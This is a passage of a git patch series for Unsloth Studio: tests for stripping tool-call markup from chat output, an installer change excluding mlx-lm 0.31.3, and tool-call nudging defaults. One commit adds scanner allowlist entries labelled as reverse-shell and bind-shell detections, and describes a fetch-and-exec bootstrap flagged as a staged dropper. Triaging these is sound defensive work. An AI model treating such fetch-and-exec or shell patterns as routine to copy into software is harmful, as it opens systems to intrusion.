+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) == text
+
+
+def test_route_display_strip_removes_complete_call_before_think_block():
+    # A complete bracket call before a think block still strips (balanced scan runs on every segment).
+    text = 'before search[ARGS]{"q":"x"} <think>pause</think> after'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "search[ARGS]" not in out
+    assert "<think>pause</think>" in out
+    assert "before" in out and "after" in out
+
+
+def test_route_display_strip_removes_closed_xml_before_think_block():
+    # A closed <tool_call> before a think block is removed in the non-last segment.
+    text = 'pre <tool_call>{"name":"x"}</tool_call> <think>p</think> tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "<tool_call>" not in out
+    assert "<think>p</think>" in out
+    assert "pre" in out and "tail" in out
+
+
+def test_all_route_cleanup_sites_use_protected_display_helper():
+    # Every route cleanup site must use _strip_tool_xml_for_display (think-preserving,
+    # balanced); raw _TOOL_XML_RE.sub corrupted think rehearsal and trailing prose. The only
+    # legitimate raw sub lives inside the helper itself.
+    raw_sub_lines = [
+        (i, line)
+        for i, line in enumerate(_src.splitlines(), 1)
+        if "_TOOL_XML_RE.sub(" in line and not line.lstrip().startswith("#")
+    ]
+    assert len(raw_sub_lines) == 1, (
+        "raw _TOOL_XML_RE.sub must appear only inside _strip_tool_xml_for_display; "
+        f"found extra call sites: {raw_sub_lines!r}"
+    )
+
+
 def test_route_display_strip_removes_mistral_tool_calls_with_nested_json():
     # _TOOL_XML_RE has no [TOOL_CALLS] arm, so the helper delegates to _strip_tool_xml for the Mistral
     # balanced-brace strip (a non-greedy \{.*?\} would truncate nested JSON).
@@ -234,6 +292,32 @@ def test_strips_tail_only_parameter_orphan_no_trailing_ws():
     assert "Final answer." in cleaned
 
 
+def test_strips_complete_bracket_tag_keeps_trailing_prose():
+    # A complete Mistral call strips only its balanced JSON, leaving following prose intact.
+    cleaned = _TOOL_XML_RE.sub("", '[TOOL_CALLS]web_search{"q":"x"} and then prose')
+    assert "[TOOL_CALLS]" not in cleaned
+    assert "and then prose" in cleaned
+
+
+def test_strips_unclosed_bracket_tail():
+    # Close brace lost to EOS: the truncated tail strips to the end instead of leaking.
+    cleaned = _TOOL_XML_RE.sub("", 'here [TOOL_CALLS]web_search{"query":"weather"')
+    assert "[TOOL_CALLS]" not in cleaned
+    assert cleaned.strip() == "here"
+
+
+def test_strips_unclosed_rehearsal_tail():
+    cleaned = _TOOL_XML_RE.sub("", 'text python[ARGS]{"code":"print(1)"')
+    assert "[ARGS]" not in cleaned
+    assert cleaned.strip() == "text"
+
+
+def test_strips_hyphenated_mcp_bracket_name():
+    cleaned = _TOOL_XML_RE.sub("", 'x [TOOL_CALLS]mcp__srv__list-issues{"q":"x"}')
+    assert "list-issues" not in cleaned
+    assert cleaned.strip() == "x"
+
+
 def test_preserves_mid_string_parameter_in_code_sample():
     # Tail-anchor on `</parameter>` so doc/example prose survives.
     text = (
@@ -362,6 +446,238 @@ def test_no_catastrophic_backtracking_on_orphan_opening_spam():
     assert "<tool_call>" not in cleaned
 
 
+# ── Two-level-nested bracket JSON (balanced-scan strip) ──────────
+
+
+def test_route_strip_two_level_nested_bracket_keeps_trailing_prose():
+    # Two-level-nested args must be removed whole so the trailing prose survives.
+    text = 'before [TOOL_CALLS]search{"f":{"g":{"h":1}}} after'
+    cleaned = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert cleaned == "before  after"
+    assert "[TOOL_CALLS]" not in cleaned
+
+
+def test_route_strip_two_level_nested_rehearsal_keeps_trailing_prose():
+    text = 'note python[ARGS]{"a":{"b":{"c":1}}} done'
+    cleaned = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert cleaned == "note  done"
+    assert "[ARGS]" not in cleaned
+
+
+def test_route_strip_removes_call_with_literal_think_in_argument():
+    # A literal <think> inside a call argument strips with the call, not as reasoning.
+    text = (
+        '<tool_call>{"name":"write","arguments":'
+        '{"text":"compare <think> and </think> tags"}}</tool_call>'
+    )
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "<tool_call>" not in out and '"name"' not in out
+
+
+def test_route_strip_removes_truncated_mistral_array():
+    # A canonical array truncated by EOS is stripped by the route fallback like other orphans.
+    text = 'before [TOOL_CALLS] [{"name":"a","arguments":{"x":1}}'  # missing ]
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "{" not in out
+    assert "before" in out
+
+
+def test_route_strip_keeps_prose_mentioning_args_marker():
+    # ``foo[ARGS] in a sentence`` is prose; the rehearsal arm must not truncate the line.
+    text = "Please pass foo[ARGS] to the template and continue reading."
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert out == text
+
+
+def test_route_strip_handles_mistral_v11_call_id_args_shape():
+    # v11 [CALL_ID]/[ARGS] shape (Mistral Small 3.2) must strip whole.
+    text = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out
+    assert "before" in out and "after" in out
+
+
+# ── Mistral [/TOOL_CALLS] closer + literal <think> inside a call ───────────────
+
+from core.tool_healing import strip_tool_call_markup as _strip_tool_call_markup
+
+
+def test_core_strip_removes_orphan_tool_calls_closer_array_form():
+    # The bare v11 [/TOOL_CALLS] closer left by the balanced scan must not leak as content.
+    text = '[TOOL_CALLS] [{"name":"x","arguments":{}}][/TOOL_CALLS]'
+    assert _strip_tool_call_markup(text, final = True) == ""
+
+
+def test_core_strip_removes_orphan_tool_calls_closer_named_form_keeps_tail():
+    text = '[TOOL_CALLS]web_search{"q":"x"}[/TOOL_CALLS] tail'
+    assert _strip_tool_call_markup(text, final = True) == "tail"
+
+
+def test_core_strip_removes_call_with_literal_think_in_argument():
+    # An unclosed literal <think> inside call arguments strips with the call (argument data).
+    text = 'before <tool_call>{"name":"write","arguments":{"text":"literal <think> marker"}}</tool_call> after'
+    assert _strip_tool_call_markup(text, final = True) == "before  after"
+
+
+def test_route_display_strip_removes_orphan_tool_calls_closer_array_form():
+    text = '[TOOL_CALLS] [{"name":"x","arguments":{}}][/TOOL_CALLS]'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert out.strip() == ""
+
+
+def test_route_display_strip_removes_orphan_tool_calls_closer_named_form_keeps_tail():
+    text = '[TOOL_CALLS]web_search{"q":"x"}[/TOOL_CALLS] tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[/TOOL_CALLS]" not in out
+    assert out.strip() == "tail"
+
+
+def test_incomplete_xml_call_with_literal_think_in_arg_is_stripped():
+    # An incomplete <tool_call> holding a literal <think> strips to EOS, not as a reasoning
+    # block (the unclosed tail _tool_call_markup_spans previously missed).
+    from core.tool_healing import parse_tool_calls_from_text as _parse
+    from core.tool_healing import strip_tool_call_markup as _strip
+
+    text = 'before <tool_call>{"name":"write","arguments":{"text":"literal <think> marker"}} after'
+    assert [c["function"]["name"] for c in _parse(text)] == ["write"]
+    assert _strip(text, final = True) == "before"
+
+    # A real reasoning block with no tool call is still preserved verbatim.
+    assert (
+        _strip("answer <think>real</think> done", final = True) == "answer <think>real</think> done"
+    )
+
+    # A complete call followed by a real reasoning block: call stripped, block kept.
+    mixed = '<tool_call>{"name":"a","arguments":{}}</tool_call> mid <think>r</think> end'
+    assert _strip(mixed, final = True) == "mid <think>r</think> end"
+
+
+# ── enabled-tool gate for the ambiguous bare-rehearsal strip (#5704) ──
+
+
+def test_display_tool_name_gate_returns_active_names_or_none():
+    # Empty / no tools -> None (unrestricted; keep the legacy strip-all behavior).
+    assert _display_tool_name_gate([]) is None
+    assert _display_tool_name_gate(None) is None
+    # OpenAI-shaped tool dicts -> set of function names, malformed entries dropped.
+    tools = [
+        {"type": "function", "function": {"name": "web_search"}},
+        {"type": "function", "function": {"name": "run_python"}},
+        {"type": "function"},  # no name
+        {"nope": 1},  # no function
+    ]
+    assert _display_tool_name_gate(tools) == {"web_search", "run_python"}
+
+
+def test_route_display_strip_keeps_inactive_rehearsal_when_gated():
+    # P1 #5704: an inactive ``foo[ARGS]{...}`` is prose; the gated strip leaves the sentence intact.
+    gate = {"web_search"}
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert (
+        _strip_tool_xml_for_display(text, auto_heal_tool_calls = True, enabled_tool_names = gate)
+        == text
+    )
+    # A bare marker with no JSON body is likewise prose when inactive.
+    assert (
+        _strip_tool_xml_for_display(
+            "use foo[ARGS] here", auto_heal_tool_calls = True, enabled_tool_names = gate
+        )
+        == "use foo[ARGS] here"
+    )
+
+
+def test_route_display_strip_removes_active_rehearsal_when_gated():
+    # Mirror case: an active tool name is a real rehearsal and still strips.
+    gate = {"web_search"}
+    out = _strip_tool_xml_for_display(
+        'web_search[ARGS]{"query":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    assert "web_search[ARGS]" not in out
+    assert out.strip() == "done"
+
+
+def test_route_display_strip_ungated_strips_all_rehearsal_unchanged():
+    # Backwards-compat: with no gate (None) the bare rehearsal strips as before.
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "is just syntax."
+    assert (
+        _strip_tool_xml_for_display(
+            text, auto_heal_tool_calls = True, enabled_tool_names = None
+        ).strip()
+        == "is just syntax."
+    )
+
+
+def test_route_display_strip_control_token_stripped_regardless_of_gate():
+    # [TOOL_CALLS] is a control token: stripped even when its NAME is not in the gate.
+    gate = {"web_search"}
+    out = _strip_tool_xml_for_display(
+        '[TOOL_CALLS]foo[ARGS]{"x":1} keep', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    assert "[TOOL_CALLS]" not in out and "foo[ARGS]" not in out
+    assert out.strip() == "keep"
+
+
+def test_core_strip_gates_bare_rehearsal_on_enabled_tools():
+    # P1 (#5704): the shared strip gate mirrors the parse gate -- inactive names are prose
+    # and preserved, active names strip, ``None`` keeps legacy strip-all.
+    from core.tool_healing import strip_tool_call_markup as _strip
+
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert _strip(text, final = True, enabled_tool_names = {"web_search"}) == text
+    assert (
+        _strip('web_search[ARGS]{"q":1} done', final = True, enabled_tool_names = {"web_search"})
+        == "done"
+    )
+    assert _strip(text, final = True).strip() == "is just syntax."
+    assert _strip(text, final = True, enabled_tool_names = None).strip() == "is just syntax."
+
+
+def test_route_display_strip_gate_preserves_inactive_history_rehearsal():
+    # The GGUF history sanitiser passes the gate, so a documented inactive shape survives in
+    # the replayed prompt context.
+    gate = _display_tool_name_gate([{"function": {"name": "web_search"}}])
+    text = 'To call it write foo[ARGS]{"x":1} in your reply.'
+    assert 'foo[ARGS]{"x":1}' in _strip_tool_xml_for_display(
+        text, auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    # An ACTIVE name is still stripped as a real rehearsed call.
+    assert "web_search[ARGS]" not in _strip_tool_xml_for_display(
+        'Result web_search[ARGS]{"q":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    # No gate (legacy) strips every NAME[ARGS]{...}.
+    assert "foo[ARGS]" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+
+
+def test_gguf_history_sanitizer_forwards_enabled_tool_names_gate():
+    # Wiring guard: the GGUF history strip must forward the display gate like the live strip.
+    block = _re.search(
+        r"Strip stale tool-call XML from conversation history.*?\.strip\(\)",
+        _src,
+        _re.DOTALL,
+    )
+    assert block, "could not locate GGUF history sanitizer block"
+    assert "enabled_tool_names" in block.group(
+        0
+    ), "GGUF history sanitizer must pass enabled_tool_names to _strip_tool_xml_for_display"
+
+
+def test_route_history_and_passthrough_forward_the_display_gate():
+    # The safetensors/Anthropic history sanitisers and the Anthropic non-stream passthrough
+    # must forward the gate so inactive examples survive in replayed prompt / final text.
+    blocks = {
+        "safetensors history": r"Strip stale tool-call XML from prior assistant turns.*?\.strip\(\)",
+        "anthropic history": r"Strip stale tool-call XML via the protected display helper.*?\.strip\(\)",
+        "anthropic passthrough": r"gated on the declared tools so an\n.*?\.strip\(\)",
+    }
+    for label, pat in blocks.items():
+        m = _re.search(pat, _src, _re.DOTALL)
+        assert m, f"could not locate {label} strip block"
+        assert "enabled_tool_names" in m.group(
+            0
+        ), f"{label} must forward enabled_tool_names to _strip_tool_xml_for_display"
+
+
 # ── DeepSeek opener variants + bare Kimi (parse/strip symmetry) ──
 
 

From c2a7b78f6b55ffb80d294e00a85f3d2fd5272706 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 19:40:06 -0700
Subject: [PATCH 220/306] Studio: exclude mlx-lm 0.31.3 (broke gemma4/qwen3_5
 QK-norm load on Apple Silicon) (#6803)

* Studio: exclude mlx-lm 0.31.3 (broke gemma4/qwen3_5 QK-norm load)

mlx-lm 0.31.3 regressed the QK-norm archs: its strict load_weights rejects the
q_norm/k_norm tensors with "Received N parameters not in model", so gemma4 and
qwen3_5 checkpoints fail to load. Studio installs the MLX stack unpinned at
latest, which pulls 0.31.3. Verified on a real macos-14 runner: gemma4 fails to
load on 0.31.3 but loads and generates coherently on 0.31.2 and on git-main
(future 0.31.4). See mlx-lm #1242.

Exclude just that release (!=0.31.3) in the installer and the self-heal floor so
--upgrade still resolves to the newest good build, and treat an already-installed
0.31.3 as unsatisfied so the self-heal replaces it.

* Studio MLX: cover fresh-install path + robust bad-version compare

Address PR review:
- Fresh install.sh (Apple Silicon) runs the base 'uv pip install unsloth' with
  SKIP_STUDIO_BASE=1, skipping the guarded MLX-stack step, so transitive
  resolution could still pull mlx-lm 0.31.3. install.sh already exports
  UV_OVERRIDE -> overrides-darwin-arm64.txt before that install, so exclude
  mlx-lm 0.31.3 there too; this also strengthens the self-heal (same override).
- Match the known-bad version with parsed packaging.Version so 0.31.3 == 0.31.3.0
  (trailing-zero normalization) instead of raw string equality.

* Studio: exclude mlx-lm 0.31.3 on the fresh Apple Silicon install too

The overrides file only applies via UV_OVERRIDE when it exists relative to the
script, which is not true for a curl-piped install, and the guarded MLX step in
install_python_stack.py is skipped there (SKIP_STUDIO_BASE=1). So the base
install could still resolve the transitive mlx-lm to the broken 0.31.3. Append
mlx-lm!=0.31.3 to the base install on Apple Silicon (empty elsewhere), so the
fresh path pins away from 0.31.3 without waiting for the runtime self-heal.

* Studio: exclude mlx-lm 0.31.3 on the migrated install; keep the >=0.22.0 floor

The with-deps migrated install did not append ${_MLX_LM_EXCLUDE_ARG:-}, so a
curl-piped Apple Silicon migration (no repo overrides file, UV_OVERRIDE unset)
could resolve mlx-lm 0.31.3 transitively. Append the exclusion there, matching
the fresh install path. The no-torch migration is left alone since --no-deps
never resolves mlx-lm (same as the fresh no-torch path).

Also restore the >=0.22.0 floor in overrides-darwin-arm64.txt: a uv override
replaces the transitive constraint, so a bare !=0.31.3 could let the resolver
drop below the supported minimum that mlx_repair.py enforces at runtime.

* Triage huggingface_hub 1.22.0 / fastapi / multiprocess scanner false positives

The scan-packages gate red-failed on all three shards after transitive deps
bumped. Every new CRITICAL is a benign false positive, verified against upstream:

- huggingface_hub 1.22.0 added _sandbox.py for the remote HF sandbox feature.
  Its job-startup bootstrap string (fetch sbx-server into the container /tmp and
  exec it) and the SandboxPool host-reservation loop trip the staged-dropper and
  C2-loop heuristics; that script runs inside a remote HF container, not on the
  user machine. The bump also re-hashed the already-reviewed benign polling loops
  in hf_api.py and utils/_http.py. The PyPI artifact is byte-identical to the
  official v1.22.0 tag.
- fastapi 0.139.0 routing.py re-hashed the websocket keepalive while-True loop;
  byte-identical to upstream 0.139.0.
- multiprocess 0.70.19 forkserver.py and tests/__init__.py re-hashed the AF_UNIX
  fork-server IPC and fd-inheritance tests; genuine uqfoundation release, local
  IPC not network.

Added 7 reviewed allowlist entries (no blind regenerate). All three shards
(hf-stack, studio, extras) exit 0 locally.

* Tighten mlx-lm 0.31.3 exclusion comments

* Trim mlx-lm 0.31.3 exclusion comments
---
 install.sh                                    | 12 ++++++++--
 scripts/scan_packages_baseline.json           | 16 +++++++++++++
 .../single-env/overrides-darwin-arm64.txt     |  6 +++++
 studio/backend/tests/test_mlx_repair.py       | 23 +++++++++++++++++++
 studio/backend/utils/mlx_repair.py            | 21 +++++++++++++++--
 studio/install_python_stack.py                |  8 ++++++-
 6 files changed, 81 insertions(+), 5 deletions(-)

diff --git a/install.sh b/install.sh
index 0370559540..81c50bc899 100755
--- a/install.sh
+++ b/install.sh
@@ -1442,8 +1442,14 @@ if [ "$_NO_TORCH_FLAG" = true ] || [ "$MAC_INTEL" = true ]; then
     SKIP_TORCH=true
 fi
 
+# Apple Silicon: exclude broken mlx-lm 0.31.3 (QK-norm load regression for
+# gemma4 / qwen3_5; mlx-lm #1242). A curl-piped install has no overrides file
+# and skips the guarded MLX step (SKIP_STUDIO_BASE=1), so this is the only cover.
+_MLX_LM_EXCLUDE_ARG=""
+
 # Apple Silicon: override mlx-vlm / mlx-lm's transformers pin (see overrides file).
 if [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then
+    _MLX_LM_EXCLUDE_ARG="mlx-lm!=0.31.3"
     _OVERRIDES_FILE="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)/studio/backend/requirements/single-env/overrides-darwin-arm64.txt"
     if [ -f "$_OVERRIDES_FILE" ]; then
         # uv splits UV_OVERRIDE on whitespace, so a repo path with whitespace
@@ -2679,9 +2685,11 @@ if [ "$_MIGRATED" = true ]; then
             run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT"
         fi
     else
+        # Pin mlx-lm away from 0.31.3 here too: a curl-piped migration has no
+        # overrides file, so UV_OVERRIDE is unset and this positional is the only cover.
         run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" ${_MLX_LM_EXCLUDE_ARG:-}
     fi
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         substep "overlaying local repo (editable)..."
@@ -2912,7 +2920,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
             "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo"
     else
         run_install_cmd_retry "install unsloth" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth -- "$PACKAGE_NAME"
+            --upgrade-package unsloth -- "$PACKAGE_NAME" ${_MLX_LM_EXCLUDE_ARG:-}
     fi
     # AMD ROCm: repair torch if the unsloth/unsloth-zoo install pulled in
     # CUDA torch from PyPI, overwriting the ROCm wheels installed in Step 1.
diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index d42225e205..1d34cfb66d 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -1545,6 +1545,22 @@
       "severity": "HIGH",
       "evidence": "Obfusc: L52:     compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53:     exec(compiled, globs, globs)",
       "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/forkserver.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L6: import socket sha256:6c707119169286c9a798e2c8d13a48614e481d8a503950916fd4ffb4c94d3182",
+      "evidence_hash": "50fec0f0522a8e4e636bf348b752002d7935d8455af31fb78c6f11e2eba19f6d"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3569:                     os.dup2(conn.fileno(), i) | L3601:                          \"test needs os.dup2()\") | L3619:             os.dup2(fd, newfd) | L20: import socket sha256:c824dc0f409f242420c3fbb324790c53cb3078d2c8b07ee8f2a05694b01c2946",
+      "evidence_hash": "3878a2b430c175dbc5877a95195bfe52f9588ff73fb74e2261ed5e33087915ad"
     }
   ]
 }
diff --git a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
index 56b948644f..43f37b3183 100644
--- a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
+++ b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
@@ -10,3 +10,9 @@ transformers>=4.57.6
 # anyio that also ImportErrors on TaskHandle and 500s the server. An override
 # wins the fight, so force one consistent <4.14 here too.
 anyio<4.14.0
+
+# mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5): strict load_weights
+# rejects q_norm/k_norm, so those checkpoints fail to load. mlx-lm #1242.
+# The override also drops it from transitive resolution; keep the >=0.22.0 floor
+# (mirrors mlx_repair.py _MLX_MIN_VERSIONS) or the resolver could go below it.
+mlx-lm>=0.22.0,!=0.31.3
diff --git a/studio/backend/tests/test_mlx_repair.py b/studio/backend/tests/test_mlx_repair.py
index 1b0cbf9df1..365cc46410 100644
--- a/studio/backend/tests/test_mlx_repair.py
+++ b/studio/backend/tests/test_mlx_repair.py
@@ -271,6 +271,29 @@ def test_stack_available_requires_runtime_imports_and_versions(monkeypatch):
     assert imported == list(mr._MLX_RUNTIME_IMPORTS)
 
 
+def test_mlx_packages_exclude_known_bad_mlx_lm():
+    # mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5); the install spec
+    # must exclude it so the resolver picks 0.31.2 or >=0.31.4. See mlx-lm #1242.
+    (mlx_lm_spec,) = [p for p in mr.MLX_PACKAGES if p.startswith("mlx-lm")]
+    assert mlx_lm_spec == "mlx-lm>=0.22.0,!=0.31.3"
+
+
+@pytest.mark.parametrize("bad_form", ["0.31.3", "0.31.3.0"])
+def test_known_bad_installed_mlx_lm_triggers_repair(monkeypatch, bad_form):
+    # An installed 0.31.3 counts as unsatisfied so the self-heal replaces it;
+    # parsed-Version compare also catches the trailing-zero form 0.31.3.0.
+    import importlib.metadata as metadata
+
+    def _version(name):
+        return bad_form if name == "mlx-lm" else mr._MLX_MIN_VERSIONS[name]
+
+    monkeypatch.setattr(metadata, "version", _version)
+    monkeypatch.setattr(
+        mr.importlib, "import_module", lambda _n: pytest.fail("versions must gate imports")
+    )
+    assert mr.mlx_stack_available() is False
+
+
 def test_no_op_off_apple_silicon(monkeypatch):
     monkeypatch.setattr(mr, "is_apple_silicon", lambda: False)
     called = {"n": 0}
diff --git a/studio/backend/utils/mlx_repair.py b/studio/backend/utils/mlx_repair.py
index 520c11c3b1..7e1c9864c9 100644
--- a/studio/backend/utils/mlx_repair.py
+++ b/studio/backend/utils/mlx_repair.py
@@ -45,9 +45,21 @@ DISABLE_ENV_VAR = "UNSLOTH_DISABLE_MLX_AUTOREPAIR"
 # deps). mlx-vlm especially must be >=0.4.4: an older one still imports but
 # breaks VLM Train/Export, so installing it would wrongly clear chat-only.
 _MLX_MIN_VERSIONS = {"mlx": "0.22.0", "mlx-lm": "0.22.0", "mlx-vlm": "0.4.4"}
+# mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5): strict load_weights
+# rejects q_norm/k_norm, so a self-heal must not pull it. mlx-lm #1242.
+_MLX_BAD_VERSIONS = {"mlx-lm": ("0.31.3",)}
 _MLX_PACKAGE_NAMES = tuple(_MLX_MIN_VERSIONS)
 _MLX_RUNTIME_IMPORTS = ("mlx.core", "mlx_lm", "mlx_lm.sample_utils", "mlx_vlm")
-MLX_PACKAGES = tuple(f"{name}>={version}" for name, version in _MLX_MIN_VERSIONS.items())
+
+
+def _mlx_spec(name: str, version: str) -> str:
+    spec = f"{name}>={version}"
+    for bad in _MLX_BAD_VERSIONS.get(name, ()):
+        spec += f",!={bad}"
+    return spec
+
+
+MLX_PACKAGES = tuple(_mlx_spec(name, version) for name, version in _MLX_MIN_VERSIONS.items())
 _MLX_REINSTALL_ARGS = tuple(
     arg for name in _MLX_PACKAGE_NAMES for arg in ("--reinstall-package", name)
 )
@@ -140,7 +152,12 @@ def _mlx_versions_satisfy_minimums() -> bool:
         return False
     for name, minimum in _MLX_MIN_VERSIONS.items():
         try:
-            if Version(_dist_version(name)) < Version(minimum):
+            installed = Version(_dist_version(name))
+            if installed < Version(minimum):
+                return False
+            # A known-broken build counts as unsatisfied so the self-heal
+            # reinstalls a good one; Version compare matches 0.31.3(.0/+local).
+            if any(installed == Version(bad) for bad in _MLX_BAD_VERSIONS.get(name, ())):
                 return False
         except PackageNotFoundError:
             return False
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index 439d3ffe7b..e033a56a0a 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -1532,6 +1532,10 @@ LOCAL_DD_UNSTRUCTURED_PLUGIN = (
 )
 LOCAL_DD_GITHUB_PLUGIN = SCRIPT_DIR / "backend" / "plugins" / "data-designer-github-repo-seed"
 
+# mlx-lm 0.31.3 broke gemma4 / qwen3_5 loading (strict load_weights rejects the
+# QK-norm q_norm/k_norm tensors); exclude just that release. See mlx-lm #1242.
+MLX_LM_BAD_VERSION_EXCLUSION = "!=0.31.3"
+
 # Apple Silicon: override mlx-vlm/mlx-lm's transformers pin (see overrides).
 # _uv_safe_path: uv truncates UV_OVERRIDE at the first space too (issue #6503).
 _MLX_OVERRIDES = SINGLE_ENV / "overrides-darwin-arm64.txt"
@@ -2092,6 +2096,8 @@ def install_python_stack() -> int:
 
     # macOS arm64: install MLX stack at latest (UV_OVERRIDE relaxes the
     # mlx-vlm / mlx-lm transformers pin -- set at module load).
+    # Exclude mlx-lm 0.31.3 (see MLX_LM_BAD_VERSION_EXCLUSION); it broke
+    # gemma4 / qwen3_5 QK-norm loading. mlx-lm #1242.
     if IS_MAC_ARM and not skip_base:
         _progress("MLX stack (Apple Silicon)")
         pip_install(
@@ -2100,7 +2106,7 @@ def install_python_stack() -> int:
             "--upgrade",
             "mlx",
             "mlx-metal",
-            "mlx-lm",
+            f"mlx-lm{MLX_LM_BAD_VERSION_EXCLUSION}",
             "mlx-vlm",
         )
 

From 9dabe96786da7317148dd6e96137904dcee04105 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 19:41:19 -0700
Subject: [PATCH 221/306] Studio chat: tool-call nudging on by default (API
 stays opt-in) (#6883)

* Studio chat: tool-call nudging on by default (API stays opt-in)

Healing is already default-on everywhere and the nudge retry from the
client-tool passthrough is opt-in on the API. Studio chat had neither
signal: the frontend never sent nudge_tool_calls, and the safetensors
and MLX server-side loop lacked the GGUF loop's plan-without-action
re-prompt entirely.

Backend: the re-prompt helpers move from llama_cpp.py into
tool_call_parser.py (shared, cycle-free; the GGUF loop imports them
under its old names with zero behavior change) and
run_safetensors_tool_loop now re-prompts once at the streaming
no-tool-call exit, gated on Auto-Heal, active tools, nothing executed
yet, and short forward-looking text. Re-prompts do not consume tool
iterations.

Frontend: the chat adapter sends nudge_tool_calls from a new
nudgeToolCalls runtime setting (default true) with the same
persistence, hydration, and settings toggle plumbing as Auto-Heal.
Request-model defaults are untouched, so raw API callers stay opt-in.

* Address review: persist the nudge setting, consume the flag in the loops, skip the re-prompt after RAG autoinject

ChatSettingsPayload uses extra forbid, so a settings patch containing
nudgeToolCalls failed to persist any settings; the field is now typed
and round-trips. nudge_tool_calls now plumbs into both server-side tool
loops and gates the plan-without-action re-prompt with None meaning on,
so API callers keep today's behavior, explicit false disables it, and
Studio's default-on flag actually controls the path Studio chat runs.
The safetensors loop no longer re-prompts after RAG autoinject: the
injected retrieval bypasses the tool controller, so the nothing-executed
gate saw an empty history and re-asked after a successful retrieval.

* Safetensors loop: the plan-without-action retry requires an explicit nudge flag

The retry is new on this loop, so an omitted nudge_tool_calls must not
change existing API behavior; Studio opts in explicitly. The GGUF loop
keeps None as on because its re-prompt predates the flag.

* Suppress the plan-without-action re-prompt after a denied tool confirmation

A denial appends TOOL_REJECTED_MESSAGE but records nothing in the tool
controller history, so the nothing-executed gate re-prompted the model
to call the tool the user had just rejected, producing another
confirmation prompt. A denial now suppresses the re-prompt for the rest
of the request, mirroring the RAG autoinject handling.

* Tighten plan-without-action re-prompt comments

* Tighten plan-without-action re-prompt comments

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: match unified plan-without-action nudge cap to GGUF default of 3

The shared MAX_ACT_REPROMPTS was set to 1, but GGUF's established default
(llama_cpp.py) has re-prompted a stalling model up to 3 times since #5620.
Restore the GGUF-matched cap so safetensors and MLX inherit the same
behavior, and update the safetensors cap test to assert the cap dynamically.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/inference.py    |   2 +
 studio/backend/core/inference/llama_cpp.py    |  51 ++--
 studio/backend/core/inference/orchestrator.py |   2 +
 .../core/inference/safetensors_agentic.py     |  62 ++---
 .../core/inference/tool_call_parser.py        |  35 +++
 studio/backend/routes/chat_history.py         |   1 +
 studio/backend/routes/inference.py            |   3 +
 .../backend/tests/test_chat_history_routes.py |  11 +
 .../backend/tests/test_llama_cpp_tool_loop.py |  42 +++
 .../tests/test_nudge_tool_calls_wiring.py     |  88 +++++++
 .../tests/test_safetensors_tool_loop.py       | 240 ++++++++++++++++--
 .../src/features/chat/api/chat-adapter.ts     |   1 +
 .../features/chat/api/chat-settings-api.ts    |   1 +
